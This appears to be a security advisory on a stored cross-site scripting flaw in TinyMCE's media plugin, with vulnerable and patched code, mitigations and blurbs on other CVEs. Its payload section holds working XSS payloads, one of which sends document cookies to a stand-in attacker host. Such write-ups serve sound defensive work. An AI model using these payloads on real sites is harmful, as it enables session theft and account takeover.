Jun 5, 2026·6 min read·17 visits
An input validation flaw in TinyMCE's media plugin allows stored cross-site scripting via unvalidated data-mce-* attributes that bypass standard HTML filters.
TinyMCE prior to versions 5.11.1, 7.9.3, and 8.5.1 is vulnerable to a Stored Cross-Site Scripting (XSS) vulnerability. The flaw exists in the media plugin, which fails to properly validate and sanitize custom placeholder attributes starting with 'data-mce-*' during HTML deserialization. An attacker with content-editing permissions can exploit this vulnerability to execute arbitrary JavaScript within the session of another user who views the compiled content.
TinyMCE is an open-source rich-text editor commonly integrated into web content management systems, administration panels, and corporate portals. The editor incorporates a media plugin to handle dynamic content components, such as frame-based videos, object assets, and audio player interfaces. To manage layout stability in the editable area, the media plugin serializes these interactive nodes into non-interactive placeholder images.
The vulnerability, cataloged as CVE-2026-47761, stems from the mechanism used to store the original properties of these rich-media assets. The plugin caches raw property values inside custom HTML5 attributes prefixed with 'data-mce-'. Because downstream filters typically permit arbitrary 'data-*' attributes, the payloads bypass security boundaries before the application saves them to the persistent datastore.
When a user renders the stored markup, the editor deserializes these custom attributes back into live DOM objects. During this rendering process, the application does not validate the reconstructed elements. This enables an attacker to deliver executable code to the browser of any user who loads the edited document.
To prevent live scripts or active content from executing inside the rich-text editing window, TinyMCE replaces interactive tags with static img structures during serialization. A typical media block containing an iframe gets serialized to an img tag with the class 'mce-object' and custom metadata structures. These structures include 'data-mce-object' to record the original tag type and 'data-mce-p-[attribute]' to store arbitrary properties such as the iframe source.
The logic failure occurs during deserialization when the static placeholder is parsed to regenerate the live element. The parser loops through all attributes on the placeholder image to extract original values. It strips the 'data-mce-p-' prefix and registers the remaining string directly as a property on the newly generated active tag.
Two critical flaws exist in this architecture. First, the parsing routine does not restrict the target tag represented by 'data-mce-object', allowing dangerous tag categories such as script blocks to be specified. Second, the parser mapping loop does not filter out active event handlers or dangerous URI protocols. This allows standard attributes to be rewritten directly onto the output element, establishing the initial trigger path for arbitrary script execution.
Prior to remediation, the attribute assignment module within the media plugin processed deserialization parameters dynamically without safety checks. The following logic model represents the vulnerable attribute recreation sequence:
// Vulnerable attribute reconstruction logic
const attrs = placeholderElement.attributes;
for (let i = 0; i < attrs.length; i++) {
const attr = attrs[i];
if (attr.name.indexOf('data-mce-p-') === 0) {
const realName = attr.name.substring(11);
// Vulnerability: No check on whether realName is 'onload', 'onerror', etc.
rebuiltElement.setAttribute(realName, attr.value);
}
}The security patch remediates this mapping mechanism by introducing validation logic directly inside the property loop. The updated logic checks the resolved attribute name against a blocklist designed to prevent event registration:
// Patched attribute reconstruction logic
const attrs = placeholderElement.attributes;
for (let i = 0; i < attrs.length; i++) {
const attr = attrs[i];
if (attr.name.indexOf('data-mce-p-') === 0) {
const realName = attr.name.substring(11);
// Patch: Block event handlers starting with 'on'
if (/^on/i.test(realName)) {
continue;
}
// Patch: Ensure protocols are sanitized before assignment
if (realName === 'src' && attr.value.trim().toLowerCase().startsWith('javascript:')) {
continue;
}
rebuiltElement.setAttribute(realName, attr.value);
}
}Additionally, the patch restricts the parameters allowed within 'data-mce-object' to a verified tag list consisting of 'iframe', 'video', 'audio', and 'embed'. Any attempt to map properties to unauthorized elements, such as a direct script block, causes the parsing engine to reject or drop the element. Similarly, content serialized within 'data-mce-html' is forced through the integrated sanitization library to normalize dynamic references.
Exploiting this flaw requires that the attacker has permissions to input and save content processed by TinyMCE. An attacker can construct a payload by bypassing the editor's visual interface and submitting raw HTML. This is typically achieved via source-code mode, direct request interception, or by sending direct API updates to the endpoint handling the save routine.
The payload wraps a target event handler inside a 'data-mce-p-' attribute structure on a fake image. Two typical payload vectors demonstrate this mapping bypass:
<!-- Payload Variant 1: Event Handler Injection -->
<img class="mce-object mce-object-iframe"
data-mce-object="iframe"
data-mce-p-src="https://example.com"
data-mce-p-onload="fetch('https://attacker.com/steal?cookie=' + document.cookie)"
width="100"
height="100"
src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" />
<!-- Payload Variant 2: Embedded Script Payload -->
<img class="mce-object"
data-mce-object="iframe"
data-mce-html="%3Cscript%3Ealert(document.domain)%3C/script%3E"
src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" />When the victim loads the document inside the editor or views the final rendered output, TinyMCE intercepts the 'mce-object' image placeholder. The deserialization logic transforms the image into an iframe tag. It extracts the value of 'data-mce-p-onload' and applies it directly to the iframe as 'onload="fetch(...)"', causing the browser to execute the code in the victim's session context.
The impact of CVE-2026-47761 is substantial due to the execution scope of JavaScript within modern browsers. Once the malicious code runs, it acts on behalf of the viewing user under the host application origin. If the viewer is an administrator, the script can modify site settings, create unauthorized administrative accounts, or execute state-changing administrative APIs.
The CVSS v3.1 base score of 8.7 reflects this risk. Attackers need low privileges to post content, and exploitation requires minimal user interaction. The impact on confidentiality and integrity is rated high because sensitive session identifiers, anti-CSRF tokens, and application data can be exfiltrated through asynchronous requests.
While the EPSS score of 0.00032 indicates low current exploitation probability, the widespread usage of TinyMCE in critical infrastructure management and enterprise portals makes it an attractive vector. The vulnerability is stored, meaning a single payload remains present in the database to target multiple viewers over an extended duration.
The most effective resolution is upgrading TinyMCE to a patched release. If running the 5.x branch, upgrade to version 5.11.1 or higher. If running the 7.x branch, upgrade to 7.9.3 or higher. If running the 8.x branch, upgrade to 8.5.1 or higher. The 6.x branch is EOL, and users on that branch must migrate to supported versions.
If patching cannot be deployed immediately, organizations should disable the media plugin within the initialization script. While this blocks the inclusion of video and iframe elements, it closes the parsing vector:
tinymce.init({
selector: 'textarea',
plugins: 'anchor autolink charmap codesample emoticons image link lists searchreplace table visualblocks wordcount'
});Alternatively, implement a server-side filter within the application's sanitization chain to target attributes prefixed with 'data-mce-'. Explicitly dropping elements like 'data-mce-object', 'data-mce-html', and all attributes starting with 'data-mce-p-' blocks the payload at the ingest point before the data is stored in the database.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
TinyMCE Tiny Technologies | < 5.11.1 | 5.11.1 |
TinyMCE Tiny Technologies | 6.0.0 to 6.8.6 | 7.9.3 (Upgrade required) |
TinyMCE Tiny Technologies | 7.0.0 to < 7.9.3 | 7.9.3 |
TinyMCE Tiny Technologies | 8.0.0 to < 8.5.1 | 8.5.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS Base Score | 8.7 |
| Exploit Status | poc |
| Impact | Stored Cross-Site Scripting (XSS) |
| KEV Status | Not Listed |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CVE-2026-13149 is a highly severe algorithmic complexity vulnerability in the brace-expansion Node.js library prior to version 5.0.7. When parsing consecutive non-expanding brace groups, the library exhibits exponential-time complexity, leading to process-level Denial of Service in single-threaded runtimes.
CVE-2026-59948 is a high-severity path traversal and arbitrary file write vulnerability in the Composer dependency manager for PHP. When resolving package dependencies from custom, untrusted repositories, vulnerable versions fail to validate critical metadata like package names, source/dist URLs, and binary paths. An attacker who controls a third-party repository can serve a malicious package structure that escapes the 'vendor/' folder, enabling arbitrary file creation, option injection in VCS commands, and potential local execution.
A denial of service vulnerability in Tornado versions 6.5.2 and below arises from excessive iteration in its parameter parser. The `_parseparam` function in `httputil.py` parses parameters in HTTP headers using an inefficient nested loop that counts double quotes from index zero. This implementation exposes a quadratic $O(n^2)$ complexity curve when processing quoted headers containing a high volume of semicolons, leading to CPU exhaustion and blocking the asynchronous event loop.
An uncontrolled recursion vulnerability (CWE-674) in the Axios HTTP library allows remote attackers to cause a Denial of Service (DoS) by submitting form-data with deeply nested property keys. When Axios converts this form-data to JSON, it recursively traverses the path segments without establishing a maximum depth limit, resulting in a maximum call stack size exhaustion and a hard process crash in Node.js environments.
CVE-2026-47296 is a high-severity local Elevation of Privilege (EoP) vulnerability in Microsoft SQL Server. The issue stems from the improper neutralization of special elements within internal database routines, allowing a low-privileged authenticated user to execute arbitrary database queries with the privileges of the database owner or system administrator. Microsoft has addressed this vulnerability in its July 2026 security updates.
CVE-2026-47295 is a high-severity elevation of privilege vulnerability in Microsoft SQL Server (2016 through 2025). An authenticated, low-privileged attacker can execute remote SQL injection commands within system stored procedures to elevate permissions to sysadmin.